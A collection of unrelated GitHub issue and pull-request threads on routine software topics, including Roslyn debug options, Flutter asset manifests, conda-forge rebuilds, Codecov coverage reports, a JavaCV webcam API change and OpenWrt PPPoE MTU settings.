@jasonmalinowski Any idea what happens when the old project system passed unrecognized options to the compiler? Say a WAP project with 1.0 compiler?

"portable" in Update 1, "embedded" here: https://github.com/dotnet/roslyn/pull/12711

@tmat It looks like you changed both the C# and VB one already.

@jinujoseph How are we representing the DebugInfo property? Do we list all of the available values in the rule

@davkean I see. It confused me that both lists are in VB code and completely different.

@davkean OK to merge?

@tmat Okay, I had concerns about csproj's behavior with old compiler bits - but I've convinced myself that's not a problem, as the in-memory compiler is always the latest.
:+1:
As a side note how does embedded work? Are we changing the old project system to handle that case, for example, in the update-to-date case?

@davkean I was planning to update masbuild targets files and proj system as necessary. I'd appreciate any pointers to places that you know might need updating, so that I don't forget something.

@tmat Nowhere in particular, but I think that up-to-date checks might be broken by this.


Replace VirtualMethodEnumerationAlgorithm with simple GetAllMethods

When generating generic dictionary dependencies, we need to consider the
effect of typesystem-injected methods.
Instead of calling GetAllVirtualMethods in addition to GetMethods
when generating the conditional dependencies, I decided to revisit the
whole "virtual method enumeration algorithm" business. The complexity
doesn't seem to be worth it, so I'm killing it.

:shipit:


web engine fallback for the asset manifest is outdated

lib/web_ui/lib/src/engine/assets.dart has some code that intercepts 404 responses for requests for the asset manifest and instead returns an empty asset manifest as a fallback. Using a fallback here is understandable--we do not want to give up on trying to load an asset just because the request for the asset manifest failed. Although Flutter wouldn't be able to find out what variants of an asset exists in such a scenario, there is a good chance that the main asset still exists (though it is possible that an asset only has variants, in which case the request for the asset would still fail).
However, this code looks for requests for AssetManifest.json, which is outdated since https://github.com/flutter/flutter/pull/122505. This should be updated to the current name soon (AssetManifest.bin as of https://github.com/flutter/flutter/pull/128529).

FYI: https://github.com/flutter/flutter/pull/131382 will change the asset manifest file name again if it lands


Enable OSX ARM builds for cross compilation

Checklist

[ ] Used a personal fork of the feedstock to propose changes
[ ] Bumped the build number (if the version is unchanged)
[ ] Reset the build number to 0 (if the version changed)
[ ] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[ ] Ensured the license file is being packaged.

@conda-forge-admin please rerender

@conda-forge-admin, please restart ci

@conda-forge-admin please rerender

@conda-forge-admin please rerender

@conda-forge-admin please rerender

@conda-forge-admin please rerender


Re-think author sorting

In https://github.com/NASA-IMPACT/nasa-apt-frontend/issues/574, we reverted author sorting functionality based on user feedback. We should think through how prescriptive we want to be in author sorting.
One solution is to allow users to define the order of the authors that wouldn't be dependent on the order that they add the author's information in the contacts section. This could be achieved with increments in the contacts section, or listing the order in the Journal details subsection of the closeout section.

A couple of other notes related to author sorting.

On the general PDF, the corresponding author is listed as the first creator on the title page. Some users may not like that (see attached image-Brad Baker is technically the second author but also the corresponding author).

We have had requests in the past for the corresponding author to be listed first in the “Contacts Section.” I’m not sure if that would be possible given that we don’t want the corresponding author listed as the first author on the journal PDF title page. I’m noting this because this may be future feedback.

@wrynearson In the contacts section, the text prompts state to list the contacts in the desired order. However, I noticed the order changes after the contacts are saved. This causes the author order on the Journal PDF title page to change (not desirable).
On the general PDF, the orders seems correct on the title page, but not in the contacts section. I suspect some users will be frustrated with the sorting in the contacts section.
I'm noting this because one ATBD is ready to be published now (waiting on this weeks UI improvements before publishing), and the lead author is adamant on author order. They are not using the journal PDF, but he still doesn't like the fact that the order isn't correct on the journal PDF.

@wrynearson Just bringing to the attention again. I realize APT development work is complete for this PI, however, we have an ATBD ready to publish now except for this issue.
It's a strange thing because if I add the authors in the desired order, it will change after being saved. When I add the authors in the reverse order (though not desired), the order does not change when I save. I can't figure out why it sometimes changes.

Hi @bwbaker1, we haven't addressed this ticket because we thought it was outside of the scope of this week. Building out more user-driven author/contact sorting is a new feature, which we didn't think was defined enough for us to start working on.
Could you clarify where you are seeing the order change after saving? Which report? Which contacts, and with which role(s)?
In https://github.com/NASA-IMPACT/nasa-apt-frontend/issues/574, we reverted contact sorting based on the corresponding author role. There shouldn't be other roles that are affecting the sort order (at least we haven't discussed that as a feature in the past year).
I've created a new report and added you. I used 3 contacts, in the following order: Brad Baker, Leonardo Davinci, and New Contact. New contact is listed as a contributing author.
These rendered properly in the view mode, document PDF and journal PDF:

You said that the user wasn't using the Journal PDF, so I'm struggling to understand why this is blocking the author from publishing?


Fix markup for links and multiline command.

The changes look good just fix the conflicts before I can merge it.

Rebased on latest upstream.


As an admin, I should not see upcoming rentals that were not picked up

(See Title) These rentals were essentially never picked up. Time of photo taken 7/14, note how unprocessed rentals still appear.

Please move those rentals to Past Rentals

I will work on this


Merge master

Issue #, if available:
Description of changes:
Description of how you validated changes:
Checklist:

[ ] Write/update tests
[ ] make pr passes
[ ] Update documentation
[ ] Verify transformed template deploys and application functions as expected
[ ] Add/update example to examples/2016-10-31

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Codecov Report

Merging #1205 into develop will increase coverage by 0.05%.
The diff coverage is 100%.

@@             Coverage Diff             @@
##           develop    #1205      +/-   ##
===========================================
+ Coverage    94.33%   94.38%   +0.05%
===========================================
  Files           72       72
  Lines         3725     3723       -2
  Branches       733      734       +1
===========================================
  Hits          3514     3514
+ Misses         107      106       -1
+ Partials       104      103       -1

Impacted Files
Coverage Δ

samtranslator/swagger/swagger.py
92.57% <100%> (+0.37%)
:arrow_up:

samtranslator/__init__.py
100% <100%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 666235c...1240711. Read the comment docs.


Document strategies for integration tests with RepoDb

Hey!
We're looking at implementing RepoDb in some of our projects, but I'm not seeing what the optimal strategy for integration testing is.
Optimally we'd like to, in our tests:

Spin up a new database at the Setup stage
Add some stuff to it, and test some logic
Tear down the database afterwards

Is this outside the scope of RepoDb? I can't seem to find any sort of logic that deals with actually creating/tearing down databases. Would you recommend using a third party library for the setup/teardown step?
I think what I'm looking for is a guide akin to this one, which is for EF-Core, just for RepoDb.

@GeeWee - TBH, the spinning-up and tearing-down the DB in every instance of Integration Tests would be tedious if you are to use RepoDb. Definitely, you are aiming the Migrate feature of EF which I am shunning RepoDb on implementing such features. I would highly recommend you use EF instead to simplify your work.
Though @rdagumampan has a library that could do the migration for you and if you're interested, such library is good to use but you have to write SQLs yourself. The migration does not derived from the models.
You may I ask me how did I do the Integration Tests in RepoDb, I created it myself and the implementations can be found here. Then on every test, I call it in the Setup() method and Clean() method (like this).

Can this be closed now?

Yes. The answer is fine, and I'm sure someone else with the same problem can find this issue. Closing.


Accessibility: State Map is Tabbable But Links Can't Be Activated with Just a Keyboard

In PR #82 I made the state graph on the homepage tabbable and show tooltips, but I didn't check if you could actually then use those state links. Indeed they don't work, I likely need to add a key handler since right now it's just using a click handler.

This was resolved by PR #98, I just didn't tag it properly.


Pass in build_num and bundle_version to all S3 templates

When pushing builds to S3 using the s3 action, the build number (confusingly called CFBundleVersion in a project's plist) and bundle version are unavailable for use in the HTML and versions.json templates.
This PR ensure that these values are made available to the appropriate templates.

thats awesome! thanks @anantn !! :rocket:


FEATURE:Want to Add dark-light toggle mode

Is your feature request related to a problem? Please describe
My feature is regarding to improve the user Experience of website.
Describe the solution you'd like
I want to add a dark-light mode toggle button so that user can switch to dark or light mode according to its convenience.
Additional context
In this I will also use local storage so that when user come again in website then he will se theme according to what he choose earlier.
So i request your attention and consideration in reviewing and assigning this issue to me.
@Swapnil-2503 Please assign me this issue

@Swapnil-2503 I  request your attention and consideration in reviewing and assigning me this issue.
Thankyou

@lakhan06 I am also contributor i cant assign issue.

@AnirudhPanda  PLease assign me this issue


Cannot configure skipViolations with DeptracConfig

I don't see any references or methods that can help configure skip_violations

Does https://github.com/qossmic/deptrac/blob/2.0.x/src%2FContract%2FConfig%2FDeptracConfig.php#L42 do what you need?


How to delete issue

Issue Report Checklist

[ ] Searched the issues page for similar reports
[ ] Read the relevant sections of the Spyder Troubleshooting Guide and followed its advice
[ ] Reproduced the issue after updating with conda update spyder (or pip, if not using Anaconda)
[ ] Could not reproduce inside jupyter qtconsole (if console-related)
[ ] Tried basic troubleshooting (if a bug/error)

[ ] Restarted Spyder
[ ] Reset preferences with spyder --reset
[ ] Reinstalled the latest version of Anaconda
[ ] Tried the other applicable steps from the Troubleshooting Guide

[ ] Completed the Problem Description, Steps to Reproduce and Version sections below

Problem Description
I used the Spyder IDE to submit an issue. I never got a chance to vet the information.  As it turns out, it contains details that I do not want on the internet (and don't need to be).  I want to delete the issue and submit it from outside of the Spyder GUI.
What steps reproduce the problem?

Submit an issue using the Spyder Help pulldown menu

What is the expected output? What do you see instead?
  The non-public detail has been replaced by an anonymized place-holder, so I guess no need to delete it.  However, I would be interested in how to delete issues.  A web search indicates that there should be a delete option under the Notification area, but I don't see one.  It may be for the GitHub version of "superusers".


Cages and CageTimeBlocks : domain, repos, tests

merging this early to put more of the structure in place in dev.

Codecov Report

Merging #27 (e28dce7) into dev (64b2b9c) will increase coverage by 78.78%.
The diff coverage is 78.78%.

@@           Coverage Diff            @@
##           dev      #27       +/-   ##
========================================
+ Coverage     0   78.78%   +78.78%
========================================
  Files        0       10       +10
  Lines        0      231      +231
  Branches     0       15       +15
========================================
+ Hits         0      182      +182
- Misses       0       44       +44
- Partials     0        5        +5

Impacted Files
Coverage Δ

src/DucksNet.SharedKernel/Utils/Enumeration.cs
24.00% <24.00%> (ø)

src/DucksNet.SharedKernel/Utils/ResultBase.cs
52.38% <52.38%> (ø)

src/DucksNet.Domain/Model/Enums/Size.cs
62.50% <62.50%> (ø)

src/DucksNet.SharedKernel/Utils/ResultOfT.cs
66.66% <66.66%> (ø)

src/DucksNet.Domain/Model/Cage.cs
71.42% <71.42%> (ø)

src/DucksNet.Domain/Model/CageTimeBlock.cs
100.00% <100.00%> (ø)

tests/DucksNet.UnitTests/CageTests.cs
100.00% <100.00%> (ø)

tests/DucksNet.UnitTests/CageTimeBlockTests.cs
100.00% <100.00%> (ø)

tests/DucksNet.UnitTests/ResultTests.cs
100.00% <100.00%> (ø)

tests/DucksNet.UnitTests/SizeTests.cs
100.00% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


test(BlockHeader): test for BlockHeader added

The component will be replaced with Title in V3. We will merge it after V3 release

Component was deleted https://github.com/gravity-ui/page-constructor/pull/341
this pr is not needed more


Switch tox checkers to general python3

At the moment, tox.ini file holds several non critical environments: check,coverage,clean,docs and format. Those are configure to run on a Python 3.7 version, see:
https://github.com/partmor/ezaero/blob/a7c1f31b191ea605e9a9802c645a0ffb0c98ce08/tox.ini#L5-L9
We might consider switching those to a general python3 environment, since package tests can be run in both python3.7 and python3.8.

Hi @jorgepiloto!
That's a good point, I agree. It should be changed.
Thanks for pointing this out 👍


fix: form not work in react 18 strictmode

Types of changes

[ ] New feature
[x] Bug fix
[ ] Enhancement
[ ] Documentation change
[ ] Coding style change
[ ] Component style change
[ ] Refactoring
[ ] Test cases
[ ] Continuous integration
[ ] Typescript definition change
[ ] Breaking change
[ ] Others

Background and context

Solution

How is the change tested?

Changelog

Component
Changelog(CN)
Changelog(EN)
Related issues

Form
修复 Form 组件在 React 18 严格模式下，表单项受控失效的 bug。
Fix the bug that the Form component has controlled invalidation of form items in React 18 strict mode.
close #788

Checklist:

[ ] Test suite passes (npm run test)
[ ] Provide changelog for relevant changes (e.g. bug fixes and new features) if applicable.
[ ] Changes are submitted to the appropriate branch (e.g. features should be submitted to feature branch and others should be submitted to main branch)

Other information

更新后一样有问题，表单校验提示文字，使用react18显示不出来。提示：ReactDOM.render is no longer supported in React 18. Use createRoot instead. Until you switch to the new API, your app will behave as if it's running React 17.


BufferedImage method is not found in Framegrabber class

I'm try with JavaCv So I created the needed class from our code in github
For JavaCvDevice.Java I'm facing the following issue,

method getBufferedImage() cannot found in Frame class

I tried to convert the frame to buffer it also not working it shows
2, incompatible types: Frame cannot be converted to BufferedImage
Code:-
public BufferedImage getImage() {

		if (!open) {
			throw new WebcamException("Cannot grab image - webcam device is not open");
		}

		try {
			return grabber.grab().getBufferedImage();

                       /* Buffer  = grabber.grab();

                            return Buffer; */

		} catch (Exception e) {
			throw new WebcamException("Cannot grab image...");
		}

Due to this issue I'm not able to get the image from webcam So please help me to fix this thing.
Thanks in Advance

Hi, I guess they modified the API and removed this method or you are using
invalid dependency. Did you use Maven, or imported JARs manually? I
currently have very limited internet access and cannot look at this now,
but will come back to this (hopefully on weekend). Take care!

@vijay0850,
I see. you are using javacv-1.0 and the code I was basing on was javacv-0.8. I suppose I should migrate to newer version already. I will let you know when the code is ready. For the time being there is no other solution than downgrading dependency to 0.8 and use it together with existing solution.

Hi @vijay0850,
The code is ready and available in SNAPSHOT version from Sonatype repo (please make sure to make use of the newest JAR).
https://oss.sonatype.org/content/repositories/snapshots/com/github/sarxos/webcam-capture-driver-javacv/0.3.11-SNAPSHOT/


[NEW ICON] Skill Name

Skill Name
ScikitLearn
Why?
Will be useful for people who work in the Machine Learning field
Reference Image
No response

Duplicate issue of #191


Added materials for Pocket Edition

These are material definitions for Pocket Edition, mostly copied-and-pasted from alphaMaterials.
This is useful for #54.

Made obsolete by 44b18578 .


luci-mod-network: confusing MTU settings on PPPoE connection.

DISTRIB_TARGET='x86/geode'
DISTRIB_ARCH='x86'
DISTRIB_DESCRIPTION=openwrt-23.05 branch (git-23.357.58018-024e7ab)/OpenWrt 23.05.2 (r23630-842932a63d)

Generally there two ways to set up MTU. One is in the Devices tab (Luci UI) and the other one is in the Interfaces tab (I'm talking about PPPoE connection).
They correspond to respective parts of the configuration file: /etc/config/network:
config interface 'wan'
	option proto 'pppoe'
	option device 'eth0'
...
	option mtu '1492'

config device
	option name 'pppoe-wan'
	option mtu '1492'

Actual behavior:
Only MTU in device section (or Devices tab) will actually apply to PPPoE connection. The other one in interface does nothing. Check can be done by ifconfig or directly via Luci UI.
Expected behavior:
Remove duplicating (and non-functioning) MTU settings in PPPoE interface settings (Interfaces tab).
Note: I'm not talking about physical interface (eth0 in this example), only about pppoe-wan.

Interface mtu option should translate to pppd mtu/mru cli arguments.

The word 'should' is doing a lot of lifting here.

Shouldn't proto_pppoe_setup()call to ppp_generic_setup() pass mtu also?
https://github.com/openwrt/openwrt/blob/f1de1a090fadc74504b3ee1b5bcb914c9110bc6f/package/network/services/ppp/files/ppp.sh#L219-L242

@jow-: for pppoe "should" is false. The MTU option needs to apply to the 'ethernet' interface responsible for the connection, if there is one.
The manpages for the pppoe.so module list zero (direct) options for MTU.
https://www.man7.org/linux/man-pages/man8/pppd.8.html
So two solutions here are seem evident: either
a) delete the GUI option, or
b) remap it so that it applies to the underlying interface (less trivial).
Closed by 995d3a1801cf3b850e8c7c35937fbdd0526ff53e

See also https://github.com/openwrt/openwrt/pull/15176

I see luci-proto-ppp has returned MTU settings back. Can someone clarify what does this MTU settings do?

Can someone clarify what does this MTU settings do?

See

https://github.com/openwrt/luci/commit/b57c6ff29eb625913b91e0f6ebb754a5454acb9f
https://github.com/openwrt/openwrt/pull/15176#issuecomment-2107364533

It is supposed to control the PPP MRU/MTU values which are independent from the underlying ethernet MTU. Due to a bug in netifd this option currently is inoperable, a fix is being worked on.

@jow- so the pppd's part working fine it's just 'Devices' tab which is broken?

No, netifd the ppp protocol handler is broken, the fix for this will not happen in LuCI.